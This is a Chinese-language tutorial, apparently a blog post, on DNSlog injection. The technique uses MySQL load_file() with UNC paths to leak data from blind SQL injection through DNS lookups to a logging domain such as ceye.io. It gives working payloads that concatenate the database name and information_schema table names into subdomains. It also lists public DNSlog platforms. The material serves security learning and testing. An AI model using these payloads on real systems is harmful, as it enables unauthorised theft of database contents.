DNS注入并不是對DNS服務(wù)器進(jìn)行注入,而是利用DNS在解析的時(shí)候會(huì)留下有用的日志,簡稱:DNS log注入。
0x00原理
首先需要一個(gè)可以配置的域名,比如:ceye.io,然后通過代理商設(shè)置域名ceye.io的nameserver為自己的服務(wù)器A,然后在服務(wù)器A上配置好DNS server,這樣以來所有ceye.io及其子域名的查詢都會(huì)到服務(wù)器A上,這時(shí)就能夠?qū)崟r(shí)地監(jiān)控域名查詢請求了。
那么上面說的這些和我們這個(gè)DNS log注入有什么關(guān)系,DNS在解析的時(shí)候會(huì)留下記錄,然后我們來讀取這個(gè)多級域名的解析日志來獲取我們所想要的內(nèi)容
0x01實(shí)現(xiàn)條件
1、SQL盲注、無回顯的命令執(zhí)行、無回顯的SSRF
2、只能用于windows系統(tǒng)
3、需要用到mysql中的load_file()函數(shù),在Mysql中,load_file()函數(shù)讀取一個(gè)文件并將其內(nèi)容作為字符串返回。(不絕對,僅僅只是列舉了mysql數(shù)據(jù)庫的函數(shù))
查看load_file()可以讀取的磁盤是哪些;命令
show variables like '%secure%';
①當(dāng)secure_file_priv為空,就可以讀取磁盤的目錄。
②當(dāng)secure_file_priv為D:\,就可以讀取D盤的文件。
③當(dāng)secure_file_priv為null,load_file就不能加載文件。

在mysql命令下執(zhí)行命令:
select load_file('\\\\helloworld.****.ceye.io\\aaa');

notice:
①hellworld這個(gè)參數(shù)是后續(xù)需要編寫查詢代碼,現(xiàn)在僅是測試DNSlog平臺(tái)查詢情況;
②為什么出現(xiàn)的“\”都是成對出現(xiàn)?答:雙斜杠表示網(wǎng)絡(luò)資源路徑,多加兩個(gè)“\”就是轉(zhuǎn)義了反斜杠;
③后面的aaa我這邊測試是必須加上,可以不是aaa,阿貓阿狗都行;這樣DNS才能查詢,具體原因沒有細(xì)查,歡迎留言討論。
④問:為什么DNSlog注入只能用于windows系統(tǒng)。答:load_file()函數(shù)在Linux下是無法用來做DNSLog攻擊的,因?yàn)閘inux沒有UNC這個(gè)東西,所以當(dāng)MySQL處于Linux系統(tǒng)中的時(shí)候,是不能使用這種方式外帶數(shù)據(jù)的。
難一點(diǎn)的語句:
①load_file(concat('\\\\',(select database()),'xxx.ceye.io\\aaa'))
②' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xxxx' limit 0,1),'.XXXX.ceye.io\\aaa'))),1,1)--+
concat()函數(shù),用來拼接字符串的;
附加內(nèi)容:

補(bǔ)充:
看了一些網(wǎng)上面的關(guān)于DNSlog注入的文章,都是比較全面充足的,如果我摘抄過來的話也沒什么意思,就大概介紹下DNSlog注入入門級的使用吧,更多的是熟悉注入新姿勢;因?yàn)镈NSlog注入并不僅僅只是適用于mysql數(shù)據(jù)庫的,其他數(shù)據(jù)庫的利用我這邊就沒有羅列出來,如果有需要的話可以參考文章下方的參考鏈接。
先寫這么多,后續(xù)再補(bǔ)充。
DNS平臺(tái):
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
參考鏈接:
https://www.anquanke.com/post/id/98096
https://www.cnblogs.com/afanti/p/8047530.html